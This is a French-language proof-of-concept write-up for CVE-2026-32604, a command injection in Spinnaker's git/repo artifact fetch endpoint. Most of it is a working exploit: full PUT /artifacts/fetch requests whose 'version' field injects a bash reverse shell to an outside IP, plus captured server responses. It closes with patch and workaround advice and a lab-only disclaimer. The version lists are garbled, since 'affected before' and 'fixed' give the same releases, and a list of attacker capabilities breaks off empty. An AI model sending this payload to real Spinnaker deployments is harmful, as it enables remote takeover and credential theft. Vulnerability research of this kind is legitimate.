
Preuve de concept d'exploit pour CVE-2026-32604, une RCE par injection de commande dans la gestion des artefacts GitRepo de Spinnaker via le champ version.
CVE-2026-32604 - Exécution de code à distance dans Spinnaker via le type d'artefact
git/repo.
Il s'agit d'une vulnérabilité d'injection de commande / d'exécution de code à distance dans la gestion des artefacts GitRepo de Spinnaker.
La fonctionnalité vulnérable permet à des valeurs contrôlées par l'utilisateur, fournies via le champ version d'un artefact git/repo, d'atteindre l'exécution de commandes sans être correctement assainies.
Le point de terminaison vulnérable est :
PUT /artifacts/fetch
Le point important est que l'application expose le fournisseur d'artefacts git/repo via :
GET /artifacts/credentials
qui renvoie :
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Cela confirme que le type d'artefact git/repo est disponible.
La requête vulnérable est envoyée à :
PUT /artifacts/fetch
avec un corps JSON contenant un artefact de dépôt Git.
Le paramètre version peut être manipulé avec une syntaxe shell.
Pour les tests, j'ai utilisé :
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
La requête complète capturée lors du PoC était :
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
Le paramètre important ici est :
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
L'expression shell injectée est ajoutée après la valeur attendue de branche/version Git.
Le # est utilisé pour commenter le reste de la commande après l'expression injectée.
La requête a été acceptée par l'application vulnérable.
La réponse HTTP capturée était :
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Le point pertinent est que le type d'artefact vulnérable est présent et que la valeur version malveillante est acceptée par le point de terminaison de récupération d'artefacts.
Avant de tester le point de terminaison vulnérable, j'ai vérifié que la cible répondait :
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Réponse :
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
Le PoC est essentiellement :
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
Le problème n'est pas simplement que le point de terminaison accepte un nom de branche Git. Le problème est que les données d'artefact Git contrôlées par l'attaquant atteignent un contexte d'exécution de commandes sans être limitées de manière sûre à la syntaxe attendue de version/branche Git.
Pour une reproduction rapide, la requête principale est :
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
La charge utile ci-dessus est destinée uniquement à un environnement de laboratoire contrôlé.
Le chemin vulnérable implique que l'implémentation de l'artefact GitRepo traite des informations d'artefact contrôlées par l'attaquant.
La valeur attendue pour version est quelque chose de similaire à :
main
mais l'application ne contraint pas suffisamment la valeur à ce format attendu.
Au lieu de cela, une syntaxe shell peut être introduite :
main; <command> #
ce qui modifie la signification de la commande résultante.
Cela transforme une opération de récupération d'artefact en exécution de commandes arbitraires dans le contexte du service Spinnaker Clouddriver vulnérable.
Une exploitation réussie peut entraîner l'exécution de commandes arbitraires sur le pod Clouddriver affecté.
Selon les permissions et l'environnement du pod compromis, cela peut potentiellement permettre à un attaquant de :
L'avis officiel de Spinnaker note spécifiquement que l'exploitation peut exposer des identifiants, supprimer des fichiers ou injecter des ressources.
Selon l'avis de sécurité Spinnaker, les lignes de version affectées incluent les versions antérieures à :
2025.3.2
2025.4.2
2026.0.1
2026.1.0
Les versions corrigées sont :
2025.3.2
2025.4.2
2026.0.1
2026.1.0
La vulnérabilité est suivie sous CVE-2026-32604 et est classée comme CWE-20 : Validation d'entrée incorrecte.
Mettez à niveau Spinnaker vers une version corrigée.
L'avis amont liste également la désactivation du type d'artefact git/repo comme solution de contournement pour les installations qui ne peuvent pas être mises à niveau immédiatement.
Les versions actuelles de Spinnaker doivent être utilisées lorsque cela est possible plutôt que de rester sur une branche de version affectée.
Ce PoC est fourni à des fins de recherche en sécurité, de validation de vulnérabilité et de tests autorisés.
Ne l'exécutez que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.
J'ai testé la vulnérabilité dans un environnement de laboratoire isolé.